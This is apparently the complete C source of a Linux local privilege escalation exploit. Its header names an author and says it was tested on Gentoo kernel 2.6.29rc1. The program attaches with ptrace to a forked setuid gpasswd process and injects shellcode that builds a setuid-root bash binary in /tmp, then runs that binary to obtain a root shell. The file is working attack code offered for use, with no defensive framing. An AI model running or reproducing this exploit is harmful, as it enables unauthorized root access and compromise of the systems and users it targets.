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/*

ptrace_attach privilege escalation exploit by s0m3b0dy

 

[*] tested on Gentoo 2.6.29rc1

 

grataz:

Tazo, rassta, nukedclx, maciek, D0hannuk, mivus, wacky, nejmo, filo...

 

email: s0m3b0dy1 (at) gmail.com

*/

 

#include <grp.h>

#include <stdio.h>

#include <fcntl.h>

#include <errno.h>

#include <paths.h>

#include <string.h>

#include <stdlib.h>

#include <signal.h>

#include <unistd.h>

#include <sys/wait.h>

#include <sys/stat.h>

#include <sys/param.h>

#include <sys/types.h>

#include <sys/ptrace.h>

#include <sys/socket.h>

char shellcode[] =

"\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99"

"\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"

"\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff"

"echo \"#include <stdio.h>\nmain(){setuid(0);if(getuid()==0) printf(\\\"r00teed!\\n\\\");execv(\\\"/bin/bash\\\",0);return 0;}\" > /tmp/.exp.c;gcc /tmp/.exp.c -o /tmp/.exp;rm /tmp/.exp.c;chmod +s /tmp/.exp;exit;";

struct user_regs_struct322 {

        unsigned long ebx, ecx, edx, esi, edi, ebp, eax;

        unsigned short ds, __ds, es, __es;

        unsigned short fs, __fs, gs, __gs;

        unsigned long orig_eax, eip;

        unsigned short cs, __cs;

        unsigned long eflags, esp;

        unsigned short ss, __ss;

};

 

main()

{

struct user_regs_struct322  regs;

struct stat buf;

int i,o;

unsigned long * src;

unsigned long * dst;

char *env[2];

env[0]="/usr/bin/gpasswd";  // some suid file

env[1]=0;

if((o=fork()) == 0)

{

execve(env[0],env,0);

exit(0);

}

if(ptrace(PTRACE_ATTACH,o,0,0)==-1)

{

printf("\n[-] Attach\n");

exit(0);

}

 wait((int *)0);

if (ptrace(PTRACE_GETREGS, o, NULL, &regs) == -1){

                printf("\n[-] read registers\n");

                exit(0);

}

printf( "[+] EIP - 0x%08lx\n", regs.eip);

dst= (unsigned long *) regs.eip;

src = (unsigned long *) shellcode;

for(i=0;i<sizeof(shellcode) -1;i+=4)

if (ptrace(PTRACE_POKETEXT, o, dst++, *src++) == -1){

                       printf("\n[-] write shellcode\n");

                        exit(0);

}

ptrace(PTRACE_CONT, o, 0, 0);

ptrace(PTRACE_DETACH,o,0,0);

printf("[+] Waiting for root...\n");

sleep(2);

if(!stat("/tmp/.exp",&buf))

{

printf("[+] Executing suid shell /tmp/.exp...\n");

execv("/tmp/.exp",0);

}

else

{

printf("[-] Damn no r00t here :(\n");

}

return 0;

}